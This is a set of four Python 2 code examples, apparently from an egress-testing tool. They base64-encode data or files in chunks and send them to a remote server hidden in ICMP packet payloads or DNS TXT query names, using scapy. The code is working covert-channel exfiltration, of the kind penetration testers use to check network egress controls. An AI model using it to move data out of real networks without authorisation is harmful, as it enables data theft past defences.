Example #1
0
    def negotiatedTransmit(self, data_to_transmit, config=None):

        byte_reader = 0
        packet_number = 1

        print("[+] Sending ICMP Data")
        # Determine if sending via IP or domain name
        if helpers.validate_ip(self.remote_server):
            final_destination = self.remote_server
        else:
            print "[*] Resolving IP of domain..."
            final_destination = socket.gethostbyname(self.remote_server)

        # calcalate total packets
        if ((len(data_to_transmit) % self.length) == 0):
            total_packets = len(data_to_transmit) / self.length
        else:
            total_packets = (len(data_to_transmit) / self.length) + 1
        self.current_total = total_packets

        while (byte_reader < len(data_to_transmit)):
            if not self.file_transfer:
                encoded_data = base64.b64encode(
                    data_to_transmit[byte_reader:byte_reader + self.length])
            else:
                encoded_data = base64.b64encode(
                    self.file_transfer + ".:::-989-:::." +
                    data_to_transmit[byte_reader:byte_reader + self.length])

            print "[*] Packet Number/Total Packets:        " + str(
                packet_number) + "/" + str(total_packets)

            # Craft the packet with scapy
            try:
                send(IP(dst=final_destination) / ICMP() / (encoded_data),
                     verbose=False)
            except KeyboardInterrupt:
                print "[*] Shutting down..."
                sys.exit()

            # Increment counters
            byte_reader += self.length
            packet_number += 1

        return
Example #2
0
    def transmit(self, data_to_transmit):

        byte_reader = 0
        packet_number = 1

        # Determine if sending via IP or domain name
        if helpers.validate_ip(self.remote_server):
            final_destination = self.remote_server
        else:
            print "[*] Resolving IP of domain..."
            final_destination = socket.gethostbyname(self.remote_server)

        # calcalate total packets
        if ((len(data_to_transmit) % self.length) == 0):
            total_packets = len(data_to_transmit) / self.length
        else:
            total_packets = (len(data_to_transmit) / self.length) + 1
        self.current_total = total_packets

        while (byte_reader < len(data_to_transmit)):
            if not self.file_transfer:
                encoded_data = base64.b64encode(data_to_transmit[byte_reader:byte_reader + self.length])
            else:
                encoded_data = base64.b64encode(self.file_transfer +
                    ".:::-989-:::." + data_to_transmit[byte_reader:byte_reader + self.length])

            print "[*] Packet Number/Total Packets:        " + str(packet_number) + "/" + str(total_packets)

            # Craft the packet with scapy
            try:
                send(IP(dst=final_destination)/ICMP()/(encoded_data), verbose=False)
            except KeyboardInterrupt:
                print "[*] Shutting down..."
                sys.exit()

            # Increment counters
            byte_reader += self.length
            packet_number += 1

        return
Example #3
0
    def transmit(self, data_to_transmit):

        byte_reader = 0
        check_total = False
        packet_number = 1

        # Determine if sending via IP or domain name
        if helpers.validate_ip(self.remote_server):
            final_destination = self.remote_server
        else:
            print "[*] Resolving IP of domain..."
            final_destination = socket.gethostbyname(self.remote_server)

        # calcalate total packets
        if ((len(data_to_transmit) % self.length) == 0):
            total_packets = len(data_to_transmit) / self.length
        else:
            total_packets = (len(data_to_transmit) / self.length) + 1
        self.current_total = total_packets

        # While loop over the file or data to send
        while (byte_reader < len(data_to_transmit)):
            if not self.file_transfer:
                try:
                    encoded_data = base64.b64encode(
                        data_to_transmit[byte_reader:byte_reader +
                                         self.length])
                    send(IP(dst=final_destination) / UDP() /
                         DNS(id=15,
                             opcode=0,
                             qd=[DNSQR(qname=encoded_data, qtype="TXT")],
                             aa=1,
                             qr=0),
                         verbose=False)
                    print "Sending data...        " + str(
                        packet_number) + "/" + str(total_packets)
                    packet_number += 1
                    byte_reader += self.length

                except KeyboardInterrupt:
                    print "[*] Shutting down..."
                    sys.exit()
            else:
                encoded_data = base64.b64encode(
                    str(packet_number) + ".:|:." +
                    data_to_transmit[byte_reader:byte_reader + self.length])

                while len(encoded_data) > self.max_length:

                    self.length -= 1
                    # calcalate total packets
                    if (((len(data_to_transmit) - byte_reader) %
                         self.length) == 0):
                        packet_diff = (len(data_to_transmit) -
                                       byte_reader) / self.length
                    else:
                        packet_diff = ((len(data_to_transmit) - byte_reader) /
                                       self.length)
                    check_total = True
                    encoded_data = base64.b64encode(
                        str(packet_number) + ".:|:." +
                        data_to_transmit[byte_reader:byte_reader +
                                         self.length])

                if check_total:
                    self.current_total = packet_number + packet_diff
                    check_total = False

                print "[*] Packet Number/Total Packets:        " + str(
                    packet_number) + "/" + str(self.current_total)

                # Craft the packet with scapy
                try:
                    while True:

                        response_packet = sr1(
                            IP(dst=final_destination) / UDP() /
                            DNS(id=15,
                                opcode=0,
                                qd=[DNSQR(qname=encoded_data, qtype="TXT")],
                                aa=1,
                                qr=0),
                            verbose=False,
                            timeout=2)

                        if response_packet:
                            if response_packet.haslayer(DNSRR):
                                dnsrr_strings = repr(response_packet[DNSRR])
                                if str(packet_number
                                       ) + "allgoodhere" in dnsrr_strings:
                                    break

                except KeyboardInterrupt:
                    print "[*] Shutting down..."
                    sys.exit()

            # Increment counters
            byte_reader += self.length
            packet_number += 1

        if self.file_transfer is not False:
            while True:
                final_packet = sr1(
                    IP(dst=final_destination) / UDP() /
                    DNS(id=15,
                        opcode=0,
                        qd=[
                            DNSQR(qname="ENDTHISFILETRANSMISSIONEGRESSASSESS" +
                                  self.file_transfer,
                                  qtype="TXT")
                        ],
                        aa=1,
                        qr=0),
                    verbose=True,
                    timeout=2)

                if final_packet:
                    break

        return
Example #4
0
    def transmit(self, data_to_transmit):

        byte_reader = 0
        check_total = False
        packet_number = 1

        # Determine if sending via IP or domain name
        if helpers.validate_ip(self.remote_server):
            final_destination = self.remote_server
        else:
            print "[*] Resolving IP of domain..."
            final_destination = socket.gethostbyname(self.remote_server)

        # calcalate total packets
        if ((len(data_to_transmit) % self.length) == 0):
            total_packets = len(data_to_transmit) / self.length
        else:
            total_packets = (len(data_to_transmit) / self.length) + 1
        self.current_total = total_packets

        # While loop over the file or data to send
        while (byte_reader < len(data_to_transmit)):
            if not self.file_transfer:
                try:
                    encoded_data = base64.b64encode(data_to_transmit[byte_reader:byte_reader + self.length])
                    send(IP(dst=final_destination)/UDP()/DNS(
                           id=15, opcode=0, qd=[DNSQR(
                            qname=encoded_data, qtype="TXT")], aa=1, qr=0),
                         verbose=False)
                    print "Sending data...        " + str(packet_number) + "/" + str(total_packets)
                    packet_number += 1
                    byte_reader += self.length

                except KeyboardInterrupt:
                    print "[*] Shutting down..."
                    sys.exit()
            else:
                encoded_data = base64.b64encode(str(packet_number) + ".:|:." + data_to_transmit[byte_reader:byte_reader + self.length])

                while len(encoded_data) > self.max_length:

                    self.length -= 1
                    # calcalate total packets
                    if (((len(data_to_transmit) - byte_reader) % self.length) == 0):
                        packet_diff = (len(data_to_transmit) - byte_reader) / self.length
                    else:
                        packet_diff = ((len(data_to_transmit) - byte_reader) / self.length)
                    check_total = True
                    encoded_data = base64.b64encode(str(packet_number) + ".:|:." + data_to_transmit[byte_reader:byte_reader + self.length])

                if check_total:
                    self.current_total = packet_number + packet_diff
                    check_total = False

                print "[*] Packet Number/Total Packets:        " + str(packet_number) + "/" + str(self.current_total)

                # Craft the packet with scapy
                try:
                    while True:

                        response_packet = sr1(IP(dst=final_destination)/UDP()/DNS(
                            id=15, opcode=0,
                            qd=[DNSQR(qname=encoded_data, qtype="TXT")], aa=1, qr=0),
                            verbose=False, timeout=2)

                        if response_packet:
                            if response_packet.haslayer(DNSRR):
                                dnsrr_strings = repr(response_packet[DNSRR])
                                if str(packet_number) + "allgoodhere" in dnsrr_strings:
                                    break

                except KeyboardInterrupt:
                    print "[*] Shutting down..."
                    sys.exit()

            # Increment counters
            byte_reader += self.length
            packet_number += 1

        if self.file_transfer is not False:
            while True:
                final_packet = sr1(IP(dst=final_destination)/UDP()/DNS(
                    id=15, opcode=0,
                    qd=[DNSQR(qname="ENDTHISFILETRANSMISSIONEGRESSASSESS" + self.file_transfer, qtype="TXT")], aa=1, qr=0),
                    verbose=True, timeout=2)

                if final_packet:
                    break

        return